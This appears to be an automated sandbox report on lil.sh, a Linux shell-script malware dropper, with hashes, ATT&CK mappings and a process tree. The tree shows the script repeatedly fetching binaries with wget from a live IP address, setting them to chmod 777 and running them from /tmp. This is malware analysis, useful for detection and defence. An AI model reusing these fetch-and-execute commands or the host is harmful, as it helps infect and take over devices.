d321b7d4712744fe03084d7a54f53836279e19b9c35426990057991146e7d9f1

Analysis

max time kernel
6s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21/07/2026, 01:13

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General

Target
lil.sh
Size 848B
Sample260721-blgdeabs2q
SHA256 d321b7d4712744fe03084d7a54f53836279e19b9c35426990057991146e7d9f1
MD5 6d53df1adf583a09e41e673665f819fc
SHA1 c00b727946875b5691a52d2cf55e7e12da1331ce
SHA512 aeff2fc659fa0962842a53316168cd1a9efc9c22d86002c270eca5b381f9194143c9c94e3615636b852ec486182e183ab365c9e9c7debb0636a9f1b0ae421bd0
TLSH
T199018ECA86546D0044AADA5D22EB5158F811C3CF1E5A4FB5BFEC6D3DEB95C04B03AF84
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
794	chmod
800	chmod
809	chmod
829	chmod
784	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/sgms	786	lil.sh
/tmp/3uv	795	lil.sh
/tmp/0si6	801	lil.sh
/tmp/eCn5	810	lil.sh
/tmp/ErF	831	lil.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sgms	wget
File opened for modification	/tmp/3uv	wget
File opened for modification	/tmp/0si6	wget
File opened for modification	/tmp/eCn5	wget
File opened for modification	/tmp/ErF	wget
File opened for modification	/tmp/lil	lil.sh

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:648
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:650
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:655
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  - Reads runtime system information
  PID:661
- /bin/ls
  ls -l /proc/107/exe
  2⤵
  - Reads runtime system information
  PID:668
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  - Reads runtime system information
  PID:672
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:674
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:676
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:679
- /bin/ls
  ls -l /proc/134/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/135/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/136/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/139/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/155/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/230/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/282/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/284/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/288/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/295/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/309/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/317/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/328/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/330/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/343/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/571/exe
  2⤵
  - Reads runtime system information
  PID:722
- /bin/ls
  ls -l /proc/585/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/586/exe
  2⤵
  PID:724
- /bin/ls
  ls -l /proc/594/exe
  2⤵
  - Reads runtime system information
  PID:726
- /bin/ls
  ls -l /proc/595/exe
  2⤵
  - Reads runtime system information
  PID:728
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:731
- /bin/ls
  ls -l /proc/636/exe
  2⤵
  - Reads runtime system information
  PID:733
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  - Reads runtime system information
  PID:735
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  - Reads runtime system information
  PID:740
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  - Reads runtime system information
  PID:742
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  - Reads runtime system information
  PID:744
- /bin/ls
  ls -l /proc/647/exe
  2⤵
  - Reads runtime system information
  PID:746
- /bin/ls
  ls -l /proc/648/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/649/exe
  2⤵
  - Reads runtime system information
  PID:751
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:753
- /bin/ls
  ls -l /proc/75/exe
  2⤵
  - Reads runtime system information
  PID:755
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:757
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:760
- /bin/ls
  ls -l /proc/96/exe
  2⤵
  - Reads runtime system information
  PID:762
- /bin/rm
  rm -rf sgms
  2⤵
  PID:764
- /usr/bin/wget
  wget http://129.121.114.124/sgms
  2⤵
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod 777 sgms
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/sgms
  ./sgms lilin
  2⤵
  PID:786
- /bin/sh
  /bin/sh ./sgms lilin
  2⤵
  PID:786
- /bin/rm
  rm -rf 3uv
  2⤵
  PID:788
- /usr/bin/wget
  wget http://129.121.114.124/3uv
  2⤵
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod 777 3uv
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/3uv
  ./3uv lilin
  2⤵
  PID:795
- /bin/sh
  /bin/sh ./3uv lilin
  2⤵
  PID:795
- /bin/rm
  rm -rf 0si6
  2⤵
  PID:798
- /usr/bin/wget
  wget http://129.121.114.124/0si6
  2⤵
  - Writes file to tmp directory
  PID:799
- /bin/chmod
  chmod 777 0si6
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/0si6
  ./0si6 lilin
  2⤵
  PID:801
- /bin/sh
  /bin/sh ./0si6 lilin
  2⤵
  PID:801
- /bin/rm
  rm -rf eCn5
  2⤵
  PID:803
- /usr/bin/wget
  wget http://129.121.114.124/eCn5
  2⤵
  - Writes file to tmp directory
  PID:804
- /bin/chmod
  chmod 777 eCn5
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/eCn5
  ./eCn5 lilin
  2⤵
  PID:810
- /bin/sh
  /bin/sh ./eCn5 lilin
  2⤵
  PID:810
- /bin/rm
  rm -rf ErF
  2⤵
  PID:813
- /usr/bin/wget
  wget http://129.121.114.124/ErF
  2⤵
  - Writes file to tmp directory
  PID:815
- /bin/chmod
  chmod 777 ErF
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/ErF
  ./ErF lilin
  2⤵
  PID:831
- /bin/sh
  /bin/sh ./ErF lilin
  2⤵
  PID:831
- /bin/rm
  rm -rf lil
  2⤵
  PID:833

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

sgms

Path /tmp/sgms
Size 3B
SHA256 6bdf66b5bf2a44e658bea2ee86695ab150a06e600bf67cd5cce245ad54962c61
MD5 bc949ea893a9384070c31f083ccefd26
SHA1 cbb8391cb65c20e2c05a2f29211e55c49939c3db
SHA512 e4288e71070485637ec5825f510a7daa7e75ef6c71a1b755f51e1b0f2e58e5066837f58408ea74d75db42c49372c6027d433a869904fc5efaf4876dfcfde1287
MD5 SHA1 SHA512